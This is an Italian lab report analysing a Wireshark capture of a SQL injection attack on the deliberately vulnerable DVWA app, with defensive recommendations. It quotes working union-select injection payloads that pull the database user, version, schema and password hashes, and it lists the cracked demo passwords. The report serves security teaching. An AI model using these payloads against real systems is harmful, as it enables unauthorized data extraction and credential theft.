

REPORT COMPLETO: ANALISI ATTACCO SQL INJECTION

Laboratorio di Sicurezza Informatica - CyberOps Workstation

1. INFORMAZIONI GENERALI

Elemento	Dettaglio
Data Analisi	04/09/2026
Strumenti Utilizzati	Wireshark, VM CyberOps Workstation
File PCAP Analizzato	SQL_Lab.pcap
Durata Cattura	8 minuti (441 secondi)
Piattaforma Target	Damn Vulnerable Web Application (DVWA) v1.10

2. DOMANDE E RISPOSTE DEL LABORATORIO

Parte 1: Aprire Wireshark e caricare il file PCAP

Domanda e.: Quali sono i due indirizzi IP coinvolti in questo attacco di SQL injection?

Risposta: I due indirizzi IP coinvolti sono:

Ruolo	Indirizzo IP
Attaccante (Source)	10.0.2.4
Vittima (Destination)	10.0.2.15

Metodo di identificazione: Analisi della colonna "Source" e "Destination" nel pannello principale di Wireshark, confermata tramite Follow > HTTP Stream dove il traffico in rosso (sorgente) proviene da 10.0.2.4 e il traffico in blu (destinazione) proviene da 10.0.2.15.

Parte 2: Visualizzare l'inizio dell'attacco (Riga 13)

Domanda: Cosa ha fatto l'aggressore con la query 1=1?

Risposta: L'aggressore ha inserito la query 1=1 (codificata come 1%3D1) nel campo UserID per testare se l'applicazione è vulnerabile alla SQL injection. La condizione 1=1 è sempre vera, quindi indipendentemente dal valore inserito, la query restituirà risultati.

Payload esatto:

```
text
GET /dvwa/vulnerabilities/sqli/?id=1%3D1&Submit=Submit HTTP/1.1
```

Risposta del server: Invece di un messaggio di errore, il server ha risposto con il record dell'utente admin:

```
html
<pre>ID: 1=1
First name: admin
Surname: admin</pre>
```

Conclusione: L'aggressore ha verificato di poter inserire comandi SQL e che il database risponderà. La stringa 1=1 crea un'istruzione SQL sempre vera.

Parte 3: L'attacco continua - Enumerazione sistema (Riga 19)

Domanda: Quali informazioni ha ottenuto l'aggressore con la query `1' or 1=1 union select database(), user()#?`

Risposta: L'aggressore ha ottenuto:

Informazione	Valore
Nome del database	dvwa
Utente del database	root@localhost

Payload esatto:

```
text
1' or 1=1 union select database(), user()#
```

Spiegazione:

- `database()` restituisce il nome del database corrente
- `user()` restituisce l'utente che esegue la connessione al database
- `#` commenta il resto della query, neutralizzando eventuali errori di sintassi

Risposta del server: Oltre a mostrare il record admin, il server ha anche mostrato:

```
html
First name: dvwa
Surname: root@localhost
```

Nota: Nella risposta vengono visualizzati anche più account utente, indicando che la tabella `users` contiene diversi record.

Parte 4: Fingerprinting del sistema (Riga 22)

Domanda: Qual è la versione del database identificata?

Risposta: La versione identificata è `5.7.17-0ubuntu1`

Payload esatto:

text

```
1' or 1=1 union select null, version()#
```

Risposta del server:

html

```
<pre>ID: 1' or 1=1 union select null, version()#
```

First name: admin

Surname: admin

First name:

```
Surname: 5.7.17-0ubuntu1</pre>
```

Spiegazione:

- `version()` è una funzione MySQL che restituisce la versione esatta del database
- Il suffisso `-0ubuntu1` indica che MySQL è installato su un sistema Ubuntu
- Questa informazione permette all'aggressore di cercare vulnerabilità specifiche per quella versione

Parte 5: Enumerazione tabelle (Riga 25)

Domanda: Cosa farebbe per l'aggressore il comando modificato `1' OR 1=1 UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'?`

Risposta: Questo comando modificato restituirebbe un output molto più breve e mirato, filtrato specificamente per la tabella `users`.

Analisi del comando:

Parte della Query

Significato

`1' OR 1=1`

Condizione sempre vera per attivare
l'unione

<code>UNION SELECT</code>	Combina i risultati con una nuova query
<code>null</code>	Placeholder per la prima colonna
<code>column_name</code>	Nome delle colonne (invece dei nomi delle tabelle)
<code>FROM INFORMATION_SCHEMA.columns</code>	Tabella di sistema che contiene tutte le colonne
<code>WHERE table_name='users'</code>	Filtra solo le colonne della tabella <code>users</code>

Vantaggi per l'aggressore:

1. Output ridotto: Invece di centinaia di tabelle di sistema, ottiene solo le colonne della tabella `users`
2. Identifica campi sensibili: Vedrà colonne come `user_id`, `first_name`, `last_name`, `password`, `email`
3. Prepara l'estrazione dati: Una volta note le colonne, può costruire query per estrarre i dati reali

Esempio di risposta attesa:

```
html
```

```
First name:
```

```
Surname: user_id
```

```
First name:
```

```
Surname: first_name
```

```
First name:
```

```
Surname: last_name
```

```
First name:
```

```
Surname: password
```

```
First name:
```

```
Surname: email
```

```
First name:
```

```
Surname: avatar
```

```
...
```

Parte 6: Estrazione hash password (Riga 28)

Domanda 1: Quale utente ha l'hash della password

8d3533d75ae2c3966d7e0d4fcc69216b?

Risposta: L'utente 1337

Payload esatto:

text

```
1' or 1=1 union select user, password from users#
```

Dati completi estratti:

Utente	Hash MD5
admin	5f4dcc3b5aa765d61d8327deb882cf99
gordonb	e99a18c428cb38d5f260853678922e03
1337	8d3533d75ae2c3966d7e0d4fcc69216b
pablo	0d107d09f5bbe40cade3de5c71e9e9b7
smithy	5f4dcc3b5aa765d61d8327deb882cf99

Domanda 2: Qual è la password in chiaro per l'utente 1337?

Risposta: letmein

Metodo di decifrazione: Utilizzando [CrackStation.net](https://crackstation.net), un servizio online di cracking di hash basato su dizionario, l'hash MD5 8d3533d75ae2c3966d7e0d4fcc69216b è stato decifrato con successo.

Altri hash decifrati:

Utente	Hash MD5	Password Decifrata
--------	----------	--------------------

admin	5f4dcc3b5aa765d61d8327deb882c f99	password
gordonb	e99a18c428cb38d5f260853678922 e03	abc123
1337	8d3533d75ae2c3966d7e0d4fcc692 16b	letmein
pablo	0d107d09f5bbe40cade3de5c71e9e 9b7	pablo
smithy	5f4dcc3b5aa765d61d8327deb882c f99	password

Domande di Riflessione

Domanda 1: Qual è il rischio che le piattaforme utilizzino il linguaggio SQL?

Risposta: Il rischio principale è rappresentato dagli attacchi di SQL injection, che si verificano quando l'input dell'utente viene incorporato direttamente in una query SQL senza essere adeguatamente filtrato o validato. I siti web sono comunemente basati su database SQL, rendendoli potenziali bersagli.

Conseguenze di un attacco SQL injection di successo:

Conseguenza	Descrizione
Bypass dell'autenticazione	L'attaccante può accedere come amministratore senza conoscere la password
Lettura di dati sensibili	Estrazione di password, email, dati finanziari, informazioni personali

Modifica dei dati	Alterazione o eliminazione di record nel database
Esecuzione di comandi di sistema	In alcune configurazioni, controllo del server remoto
Compromissione totale	Furto completo del database e potenziale accesso ad altri sistemi

Gravità: La gravità dell'attacco dipende dall'aggressore e dal livello di accesso dell'account del database utilizzato dall'applicazione. Nel nostro laboratorio, l'uso dell'utente `root@localhost` ha permesso l'estrazione totale di tutte le credenziali.

Domanda 2: Quali sono 2 metodi o passaggi che possono essere adottati per prevenire gli attacchi di SQL injection?

Risposta: Esistono diversi metodi efficaci per prevenire la SQL injection. Di seguito i due più importanti:

Metodo 1: Query Parametrizzate (Prepared Statements)

Descrizione: I dati dell'utente vengono inviati al database come parametri separati dalla struttura della query. Il database esegue la query con la struttura già definita, e i dati vengono interpretati esclusivamente come valori letterali, mai come codice SQL eseguibile.

Principio di funzionamento:

text

 NON SICURO:

```
String query = "SELECT * FROM users WHERE user_id = '" + userInput + "'";
```

 SICURO:

```
String query = "SELECT * FROM users WHERE user_id = ?";
```

```
PreparedStatement pstmt = connection.prepareStatement(query);
```



```
pstmt.setString(1, userInput);
```

Vantaggi:

- Neutralizza qualsiasi tentativo di SQL injection, indipendentemente dal contenuto dell'input
- È la difesa più raccomandata dalle organizzazioni di sicurezza (OWASP, NIST)
- Funziona con tutti i database (MySQL, PostgreSQL, SQL Server, Oracle)

Esempio di implementazione in diversi linguaggi:

Linguaggio	Metodo
Java (JDBC)	<code>PreparedStatement</code>
Python (SQLite/MySQL)	Parametri <code>?</code> con <code>execute()</code>
PHP (PDO)	<code>prepare()</code> e <code>execute()</code> con parametri
C# (ADO.NET)	<code>SqlCommand</code> con parametri
Node.js	Parametri con <code>?</code> o <code>\$1</code>

Metodo 2: Principio del Minimo Privilegio

Descrizione: L'account del database utilizzato dall'applicazione web deve avere solo i permessi strettamente necessari per svolgere le sue funzioni. Questo principio limita il danno potenziale (il "blast radius") in caso di SQL injection.

Esempio di implementazione (MySQL):

```
sql
-- ✗ NON SICURO: L'applicazione usa root (tutti i permessi)
-- Database user: root@localhost

-- ✔ SICURO: Creare un utente con permessi limitati
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'password_sicura';
```

```
-- Concedere solo permessi di lettura sulle tabelle necessarie
GRANT SELECT ON dvwa.users TO 'webapp_user'@'localhost';
GRANT SELECT ON dvwa.guestbook TO 'webapp_user'@'localhost';

-- NON concedere: INSERT, UPDATE, DELETE, DROP, ALTER, CREATE

-- NON concedere permessi sulle tabelle di sistema
```

Esempio per diversi scenari:

Scenario	Permessi Necessari
Catalogo prodotti (sola lettura)	SELECT
Login/autenticazione	SELECT
Registrazione utenti	SELECT, INSERT
Aggiornamento profilo	SELECT, UPDATE
E-commerce (ordini)	SELECT, INSERT, UPDATE

Vantaggi:

- Se l'attaccante esegue una SQL injection, ha solo i permessi concessi
- Non può cancellare tabelle (DROP)
- Non può modificare dati che non dovrebbe (UPDATE, DELETE)
- Non può accedere a dati di altre applicazioni nello stesso database

Altri Metodi di Prevenzione (Aggiuntivi)

Metodo	Descrizione	Efficacia
Validazione Input (Allow-list)	Verificare che l'input corrisponda a un formato	Media

	noto (es. ID numerico, email)	
Web Application Firewall (WAF)	Rilevare e bloccare richieste HTTP con pattern di SQL injection	Media (non sostituisce codice sicuro)
Disabilitare Funzionalità Non Necessarie	Disabilitare funzioni pericolose (es. <code>xp_cmdshell</code> in SQL Server)	Alta
Stored Procedure (con parametri)	Usare procedure memorizzate con parametri (non con concatenazione)	Alta (se usate correttamente)
Monitoraggio SQL	Tracciare e analizzare le query SQL per individuare anomalie	Bassa (detective, non preventiva)

3. RIEPILOGO DELL'ATTACCO

Fase	Riga	Payload	Obiettivo	Risultato
1	13	<code>id=1%3D1</code>	Test vulnerabilità	Verifica che SQL injection funzioni

2	19	<code>union select database(), user()</code>	Enumerazion e sistema	Nome DB: <code>dvwa</code> , Utente: <code>root@localhost</code>
3	22	<code>union select null, version()</code>	Fingerprinting	Versione: <code>5.7.17-0ubuntu1</code>
4	25	<code>union select null, table_name from information_sch ema.tables</code>	Enumerazion e tabelle	Tutti i nomi delle tabelle
5	28	<code>union select user, password from users</code>	Estrazione dati	Tutti gli hash delle password
6	-	CrackStation.net	Decifrazione hash	Password: <code>letmein</code>

4. CONCLUSIONI

L'analisi del file PCAP `SQL_Lab.pcap` ha dimostrato un attacco SQL injection completo e di successo contro un'applicazione web vulnerabile. L'attaccante ha sfruttato il livello di sicurezza `low` di DVWA, che non applica alcuna sanitizzazione dell'input.

Punti chiave emersi:

1. La SQL injection rimane una delle vulnerabilità più pericolose e comuni
2. Un singolo input non validato può portare alla compromissione completa del database
3. L'uso dell'utente `root` per l'applicazione amplifica il danno potenziale
4. Gli hash MD5 senza salt sono facilmente decifrabili tramite attacchi di dizionario

5. La difesa deve essere implementata a più livelli (codice sicuro, minimo privilegio, monitoraggio)

Raccomandazioni per la sicurezza:

1. Implementare query parametrizzate per tutte le query SQL
2. Limitare i privilegi dell'account del database (mai usare root)
3. Utilizzare algoritmi di hashing forti (bcrypt, Argon2, scrypt) con salt
4. Validare e filtrare tutti gli input utente (allow-list)
5. Implementare un WAF come ulteriore strato difensivo
6. Formare gli sviluppatori sulle pratiche di codifica sicura
7. Eseguire test di penetrazione regolari per identificare vulnerabilità

Ruolo	Nome	Data
Analyst	Lorenzo	04/09/2026
